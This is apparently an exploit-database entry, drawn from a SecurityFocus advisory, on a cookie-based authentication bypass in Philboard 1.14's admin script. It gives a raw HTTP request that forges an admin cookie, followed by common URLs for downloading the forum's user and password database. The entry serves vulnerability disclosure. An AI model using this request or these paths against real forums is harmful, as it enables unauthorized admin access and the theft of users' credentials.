philboard 1.14 - 'philboard_admin.asp' Authentication Bypass

source: https://www.securityfocus.com/bid/7739/info

A vulnerability has been discovered in the 'philboard_admin.asp' script used by Philboard. The problem occurs during authentication and may allow an attacker to gain unauthorized administrative access.

The issue presents itself when handling cookie-based authentication credentials.

By gaining administrative access an attacker may be capable of carrying out a variety of attacks.

It should be noted that although this vulnerability has been reported to affect philboard version 1.14 previous versions might also be affected. 

Use telnet and open target on port 80

GET /board/philboard_admin.asp HTTP/1.0
Host: example.com
Cookie: philboard_admin=True;

Download the database (users and password):

Usually, the database location can be found and download it from:
http://www.target.com/database/philboard.mdb
or
http://www.target.com/forum/database/philboard.mdb